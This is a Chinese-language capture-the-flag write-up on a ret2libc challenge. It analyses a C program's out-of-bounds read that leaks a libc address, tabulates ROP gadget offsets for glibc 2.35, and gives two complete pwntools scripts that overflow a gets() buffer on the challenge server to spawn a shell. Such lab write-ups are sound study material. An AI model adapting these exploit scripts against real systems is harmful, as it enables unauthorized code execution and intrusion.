# ret2libc(b33f adv_pwn)
> Author: 堇姬Naup
## 一些工具
```
sudo docker-compose up -d
sudo docker exec -it 2e8beb8e16d5 /bin/sh
ldd <binary>
sudo docker cp 2e8beb8e16d5:/lib/x86_64-linux-gnu/libc.so.6 .
sudo docker cp 2e8beb8e16d5:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
```
找libc offset
libc_leak-libc_base(vmmap)=offset

libc offset:
https://libc.blukat.me/
https://github.com/scwuaptx/Pwngdb
version:
Ubuntu 16.04: Glibc 2.23
Ubuntu 18.04: Glibc 2.27
Ubuntu 20.04: Glibc 2.31
Ubuntu 22.04: Glibc 2.35
## What is ret2libc
- 倘若能得知 library 被 map 到的隨機起始地址 (base address),則可以計算出 libc 中 function 的位置,便能調⽤ library 中的函式。
- 關鍵為 bypass ASLR,找出 libc 的隨機 base
- 透過 information leak 漏洞,洩漏 memory 上的內容,獲取屬於 libcsegment 的 address
- 此 address 會是隨機的 base address 加上⼀固定位移植 ofset (不同版本的 libc ofset 不同)

## libc base
通常開頭`7f`,結尾`e80`
## 題目
### 知道libc
他說他Dockerfile裡面用Ubuntu 22.04
所以libc版本是2.35
### checksec

### source code分析
```c
#include <stdio.h>
int main() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char buf[0x20];
long long nums[10];
puts("My little database (Under construction)");
while (1) {
puts("1. Change number");
puts("2. See the number");
puts("3. Exit");
int choice = 0;
int idx = 0;
scanf("%d", &choice);
switch (choice) {
case 1:
puts("Enter the index (0-9):");
scanf("%d", &idx);
if (idx >= 0 && idx < 10) {
puts("Enter the number:");
scanf("%lld", &nums[idx]);
} else {
puts("Invalid index!");
}
break;
case 2:
puts("Enter the index (0-9):");
scanf("%d", &idx);
printf("The number is %lld\n", nums[idx]);
break;
case 3:
puts("Bye!");
goto end;
default:
puts("Invalid choice!");
break;
}
}
end:
puts(
"Since it's under development, please leave your feedback before you "
"go!");
getchar();
gets(buf);
return 0;
}
```
### 開始解
首先因為有ASLR,所以要找出libc base
```c=
case 2:
puts("Enter the index (0-9):");
scanf("%d", &idx);
printf("The number is %lld\n", nums[idx]);
```
這裡有oob(簡單來說就是沒有對index檢查,arr[i] (int)
= *(arr + i *sizeof(int)),輸入不在範圍的可以leak 任何記憶體)
嘗試輸入幾次後可以發現15會leak一個libc adress
接著用libc base扣掉他找offset
libc leak:

libc base:

```
>>> hex(0x7ffff7c29d90-0x7ffff7c00000)
'0x29d90'
```
找出offset
找libc裡面的/bin/sh
```
strings -a -t x <path to libc> | grep /bin/sh
```

接下來要堆ROP(用libc裡面的,全部都要+libc base)
|目標|地址|
|---|---|
|pop rdi ; ret|0x2a3e5|
|/bin/sh|0x1d8678|
|ret|0x2a3e5+0x1|
|system|0x50d70|

stack
```
AAAA...(0x20+0x8)
pop rdi(libc)
/bin/sh(libc)
ret(libc)
system(libc)
```
### script
```python=
from pwn import *
context.arch='amd64'
a=input('open debug?(y/n)')
if a=='y':
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
b=input("local?(y/n)")
if b=='y':
r=process("./chal")
else:
r=remote("chall.nckuctf.org", 10009)
r.sendline(b"2")
r.sendline(b"15")
r.recvuntil(b"The number is ")
LEAK_LIBC=int(r.recv(15).decode())
OFFSET=0x29d90
print("LEAK-LIBC: ",hex(LEAK_LIBC))
LIBC_BASE=LEAK_LIBC-OFFSET
print("LIBC_BASE",hex(LIBC_BASE))
ROP_libc={
"pop_rdi":0x2a3e5+LIBC_BASE,
"binsh":0x1d8678+LIBC_BASE,
"SYSTEM":0x50d70+LIBC_BASE,
"ret":0x2a3e5+LIBC_BASE+0x1
}
ROP_payload=flat(b"A"*(0x20+0x8),ROP_libc['pop_rdi'],ROP_libc['binsh'],ROP_libc['ret'],ROP_libc['SYSTEM'])
r.sendline(b"3")
r.sendlineafter(b"go!",ROP_payload)
r.interactive()
```
### 感謝
感謝國外隊友Tomer大老幫我釐清問題
順便附上他的解法
```python=
from pwn import *
libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc)
rop_libc = ROP(libc)
SYSTEM_LIBC_OFFSET = libc.symbols["system"]
BIN_SH = next(libc.search(b'/bin/sh'))
RET_RDI = rop_libc.rdi.address
RETN = rop_libc.retn.address
DISTANCE_FROM_LIBC_BASE = 0x29D90
# con = process("./chal")
con = remote("chall.nckuctf.org", 10009)
con.writeline(b"2")
con.writeline(b"15")
con.readuntil(b"The number is ")
leak = int(con.readline()[:-1])
libc_base = leak - DISTANCE_FROM_LIBC_BASE
con.writeline(b"3")
payload = cyclic(40)
payload += p64(libc_base + RET_RDI)
payload += p64(libc_base + BIN_SH)
payload += p64(libc_base + RETN)
payload += p64(libc_base + SYSTEM_LIBC_OFFSET)
con.writeline(payload)
con.interactive()
```
## 一些資料
https://hackmd.io/@u1f383/S1CNu-1SO
https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc